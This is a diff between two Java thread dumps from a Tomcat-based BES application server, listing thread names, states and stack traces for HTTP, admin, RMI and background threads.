at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||
|
||||
"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389e1a89
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@44b609d
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"RMI TCP Connection(2)-192.168.215.4" #85 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #77 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
"http-thread-pool-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -253,75 +128,75 @@ ThreadStacks:
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||
|
||||
"http-thread-pool-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d99fb1f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@42893fb9
|
||||
"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4a14f8fc
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:460)
|
||||
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1320e0b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
|
||||
"RMI Reaper" #74 [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e06e655
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
"RMI TCP Accept-6600" #73 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-6" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
||||
"RMI Scheduler(0)" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552d3946
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI RenewClean-[172.17.0.3:6600]" #78 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3893e807
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||
|
||||
"http-nio-0.0.0.0-6900-ClientPoller-0" #61 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-7" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -335,30 +210,21 @@ ThreadStacks:
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"com.bes.appserv-startStop-1" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b8f5a12
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
"http-thread-pool-6" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI Scheduler(0)" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51d5d045
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Connection(1)-192.168.215.4" #82 daemon [RUNNABLE]
|
||||
"RMI TCP Connection(2)-172.17.0.3" #79 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
@@ -370,14 +236,229 @@ ThreadStacks:
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-8080-Acceptor-0" #71 daemon [RUNNABLE]
|
||||
"http-nio-0.0.0.0-8080-ClientPoller-0" #64 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"admin-thread-pool-4" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"com.bes.appserv-startStop-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55ef9d0b
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"RMI TCP Connection(1)-172.17.0.3" #76 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-0.0.0.0-6900-AsyncTimeout" #63 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@69b469f9
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"http-thread-pool-5" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@4e406718
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:460)
|
||||
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-thread-pool-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #48 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #81 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
